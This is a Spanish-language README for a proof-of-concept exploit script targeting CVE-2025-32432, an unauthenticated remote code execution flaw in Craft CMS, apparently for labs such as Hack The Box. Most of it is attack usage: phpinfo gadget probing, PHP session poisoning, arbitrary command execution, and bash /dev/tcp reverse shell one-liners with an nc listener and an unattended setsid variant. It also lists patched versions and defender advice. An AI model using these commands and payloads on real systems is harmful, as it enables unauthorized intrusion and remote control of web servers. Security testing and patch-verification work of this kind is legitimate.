
Solo pruebas autorizadas. Este repositorio está pensado para entornos de laboratorio controlados, plataformas CTF como Hack The Box, validación interna y verificación defensiva. No lo ejecutes contra sistemas que no te pertenezcan o para los que no tengas permiso explícito de prueba.
Este proyecto contiene una prueba de concepto de objetivo único para CVE-2025-32432, un problema de ejecución remota de código en Craft CMS que no requiere autenticación.
El PoC realiza dos etapas:
phpinfo() a través del endpoint de generación de transformaciones de assets de Craft CMS.El script está diseñado para evitar un problema común de falsos negativos visto en algunos PoCs públicos: una solicitud normal de transformación de imagen puede devolver 404, mientras que el mismo endpoint y assetId siguen funcionando cuando se utiliza la carga útil del gadget real.
Según el aviso oficial de Craft CMS y las bases de datos públicas de avisos, los rangos afectados son:
Actualiza a una versión corregida de inmediato si eres responsable de un despliegue de Craft CMS.
El PoC sigue este flujo:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
Detalles de implementación importantes:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout para escenarios de reverse shell.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3Instala las dependencias:
python3 -m pip install requests urllib3
Esto confirma la vulnerabilidad usando solo el gadget phpinfo.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Salida esperada en caso de éxito:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
La respuesta de phpinfo se guarda como:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Ejemplo de salida correcta:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Usa esto cuando ya conozcas los valores que funcionan.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Algunos objetivos pueden usar un front controller personalizado como x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
Esto prueba rutas como:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Primero inicia un listener:
rlwrap -cAr nc -lvnp 12345
Luego ejecuta el PoC con un comando de reverse shell:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 deshabilita el tiempo de espera de la solicitud. Esto es útil porque las reverse shells suelen mantener abierta la solicitud HTTP.
Variante desatendida:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404 durante el escaneo normalNo te bases en una solicitud de transformación normal para el descubrimiento. Algunos objetivos devuelven 404 para un cuerpo de transformación normal, pero aun así ejecutan la carga útil del gadget.
Este PoC descubre combinaciones válidas usando el propio gadget phpinfo.
Prueba a especificar el directorio de sesiones manualmente:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Luego prueba:
--session-dir /var/lib/php/session
o:
--session-dir /tmp
Usa uno de estos enfoques:
--timeout 0
Usa una carga útil desatendida con setsid o nohup.
Confirma que tu IP de callback es correcta:
ip -br a | grep tun
Esto puede ser normal si la reverse shell se conectó correctamente. Revisa tu listener antes de tratar el tiempo de espera como un fallo.
Prueba primero un comando más simple:
-c "id"
-c "whoami"
-c "pwd"
Si los comandos simples funcionan pero los complejos fallan, cita el comando con cuidado o usa una carga útil de shell desatendida.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si administras una instancia de Craft CMS:
3.9.15, 4.14.15, 5.6.17 o posterior..env y las credenciales de la base de datos si se sospecha explotación.Este proyecto se proporciona únicamente con fines educativos, de investigación, de laboratorio y de validación defensiva. El autor no es responsable del mal uso. Solo prueba sistemas que te pertenezcan o para los que tengas permiso explícito por escrito para evaluar.
| Rama de Craft CMS | Versiones afectadas | Versión corregida |
|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
| Opción | Descripción | Valor por defecto |
|---|
-u, --url | URL base del objetivo | Obligatorio |
-c, --cmd | Comando opcional a ejecutar tras la confirmación de phpinfo | Ninguno |
--front | Nombre del front controller | index.php |
-s, --scan-max | assetId máximo a probar con el gadget phpinfo | 50 |
-a, --asset | ID de asset conocido que funciona | Ninguno |
--endpoint | Endpoint generate-transform conocido que funciona | Ninguno |
--session-dir | Directorio de sesiones de PHP. Puede indicarse varias veces | Lista integrada |
--timeout | Tiempo de espera de la solicitud para el disparo del comando. Usa 0 para sin tiempo de espera | 20 |